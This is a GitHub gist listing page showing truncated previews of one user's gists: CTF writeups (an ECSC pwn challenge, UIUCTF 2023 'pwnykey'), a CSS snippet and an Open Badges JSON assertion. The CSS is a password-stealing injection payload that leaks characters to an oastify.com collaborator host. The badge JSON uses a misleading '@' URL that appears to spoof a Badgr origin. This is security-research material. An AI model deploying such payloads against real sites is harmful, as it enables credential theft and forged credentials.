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RubenBrocke / writeup_off.md
Created October 17, 2019 15:17
ECSC writeup - OFF (pwn)

writeup ECSC pwn challenge: off

We are provided a binary and an ip to connect to. Running the binary we get the following prompt:

What do you want to do?
I'm here to serve you. :-)
@RubenBrocke
RubenBrocke / writeup_pwnykey.md
Last active July 6, 2023 08:27
Writeup for the pwnykey challenge of UIUCTF 2023

Pwnykey [rev 400]

Challenge

Can you obtain a valid pwnyOS activation key?

link files

input[type="password"][value$=" "] { background-image: url("https://aycu1363tkdb5bbscvo4vv42ptvkjd72.oastify.com/%20 "); }
input[type="password"][value$="!"] { background-image: url("https://aycu1363tkdb5bbscvo4vv42ptvkjd72.oastify.com/%21!"); }
input[type="password"][value$="#"] { background-image: url("https://aycu1363tkdb5bbscvo4vv42ptvkjd72.oastify.com/%23#"); }
input[type="password"][value$="$"] { background-image: url("https://aycu1363tkdb5bbscvo4vv42ptvkjd72.oastify.com/%24$"); }
input[type="password"][value$="%"] { background-image: url("https://aycu1363tkdb5bbscvo4vv42ptvkjd72.oastify.com/%25%"); }
input[type="password"][value$="&"] { background-image: url("https://aycu1363tkdb5bbscvo4vv42ptvkjd72.oastify.com/%26&"); }
input[type="password"][value$="'"] { background-image: url("https://aycu1363tkdb5bbscvo4vv42ptvkjd72.oastify.com/%27'"); }
input[type="password"][value$="("] { background-image: url("https://aycu1363tkdb5bbscvo4vv42ptvkjd72.oastify.com/%28("); }
input[type="password"][value$=")"] { bac
{
"@context": "https://w3id.org/openbadges/v1",
"type": "Assertion",
"id": "https://api.eu.badgr.io@gist.githubusercontent.com/RubenBrocke/8b45d0f9fd8905299d73b5911b1f0cd7/raw/c2d05f49ba7ce72c6fa521d8b6815fd3b2f774f7/gistfile1.txt",
"uid": "794fdeee-b416-4fef-b4e7-46b86d75d190",
"recipient": {
"type": "email",
"identity": "sha256$a2bda871b93c08dadb8abd72f6d9ff24915f1d2aa58ee824518a230a456be6b0",
"hashed": true
},